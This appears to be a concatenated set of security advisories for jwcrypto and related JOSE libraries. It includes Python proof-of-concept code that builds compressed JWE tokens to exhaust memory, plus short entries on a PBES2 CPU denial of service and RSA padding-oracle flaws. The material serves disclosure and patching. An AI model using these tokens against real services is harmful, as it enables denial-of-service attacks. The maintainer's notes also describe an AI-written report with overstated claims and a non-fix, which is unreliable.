Summary The fix for GHSA-j857-7rvv-vj97 in v1.5.6 is weak in that it does not allow to fully control the amount of plaintext the receiver is willing to deal with and provides just a weak upper bound. The patch limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can craft a JWE token under the 250KB input limit that decompresses to very large data that may exceed small devices memory availability, causing Denial of Service via memory exhaustion.

Although this is technically not unbounded I do recognize that it may be too much for devices and is something that could be surprising to developers, and we can do better than that.

NOTE: the original report was sloppy (probably AI slop) and claimed arbitrary memory consumption, but simple testing showed that while 100MB could be decompressed a 1GB output was denied because the token exceeded the 250K compressed serialization.

NOTE WELL: The proposed solution was also sloppy, proposing to first decompress the data completely in memory (therefore causing the memory exhaustion) and then checking how much memory was already used to deny the operation. I intentionally left the "details" section untouched to show how bad AI slop is and how uncritical the submitter was, even as it was obvious the "suggested fix" is actually no solution at all, as it was using the very call that he claimed was causing "arbitrary" memory exhaustion and wrapping it around an "if" ... the actual solution is in the resolving commit in version 1.5.7

Details The vulnerable code in jwcrypto/jwe.py: python if len(data) > defaultmaxcompressedsize: raise InvalidJWEData('Compressed data exceeds maximum allowed size') self.plaintext = zlib.decompress(data, -zlib.MAXWBITS)

The check validates data which is the compressed bytes, not the decompressed output. A 132KB token (under the 250KB limit) can decompress to approximately 100MB with no error raised.

PoC Tested on jwcrypto 1.5.6 (patched version): python import zlib from jwcrypto import jwe from jwcrypto.jwk import JWK import time

key = JWK.generate(kty='oct', size=128) bombdata = b"A" 1024 1024 100 # 100MB uncompressed

token = jwe.JWE( plaintext=bombdata, protected={"alg": "A128KW", "enc": "A128GCM", "zip": "DEF"} ) token.addrecipient(key) serialized = token.serialize(compact=True) print(f"Token size: {len(serialized)/1024:.1f} KB") # 132.8 KB — under 250KB limit

tok2 = jwe.JWE() tok2.deserialize(serialized, key) print(f"Decompressed: {len(tok2.plaintext)/1024/1024:.0f} MB") # 100 MB

Output: Token size: 132.8 KB Decompressed: 100 MB

Impact An unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch (v1.5.6) does not prevent this attack. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB.

latchset jose through version 11 allows attackers to cause a denial of service (CPU consumption) via a large p2c (aka PBES2 Count) value.

latchset jose through version 11 allows attackers to cause a denial of service (CPU consumption) via a large p2c (aka PBES2 Count) value.

https://github.com/P3ngu1nW/CVERequest/blob/main/latch-jose.md https://github.com/latchset/jose

Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5

Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time.

Poc python from jwcrypto import jwk, jwe from jwcrypto.common import jsonencode, jsondecode import time publickey = jwk.JWK() privatekey = jwk.JWK.generate(kty='RSA', size=2048) publickey.importkey(jsondecode(privatekey.exportpublic()))

payload = '{"u": "' + "u" 400000000 + '", "uu":"' + "u" 400000000 + '"}' protectedheader = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": publickey.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=publickey, protected=protectedheader) enc = jwetoken.serialize(compact=True)

print("-----uncompress-----")

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=privatekey)

print(time.time() - begin)

print("-----compress-----")

payload = '{"u": "' + "u" 400000 + '", "uu":"' + "u" 400000 + '"}' protectedheader = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": publickey.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=publickey, protected=protectedheader) enc = jwetoken.serialize(compact=True)

print(len(enc))

begin = time.time()

jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=privatekey)

print(time.time() - begin) It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. <img width="172" alt="image" src="https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785">

Mitigation To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens.

References [1] CVE-2024-21319

Impact Denial of Service, Applications that allow the use of the PBKDF2 algorithm.

Patches A patch is available that sets the maximum number of default rounds.

Workarounds Applications that do not need to use PBKDF2 should simply specify the algorithms use and exclude it from the list. Applications that need to use the algorithm should upgrade to the new version that allows to set a maximum rounds number.

Acknowledgement The issues was reported by Jingcheng Yang and Jianjun Chen from Sichuan University and Zhongguancun Lab

A security vulnerability has been identified in the pkcs11-provider, which is associated with Public-Key Cryptography Standards (PKCS#11). If exploited successfully, this vulnerability could result in a Bleichenbacher-like security flaw, potentially enabling a side-channel attack on PKCS#1 1.5 decryption.

The Rsa15 class in the RSA 1.5 algorithm implementation in jwa.py in jwcrypto before 0.3.2 lacks the Random Filling protection mechanism, which makes it easier for remote attackers to obtain cleartext data via a Million Message Attack (MMA).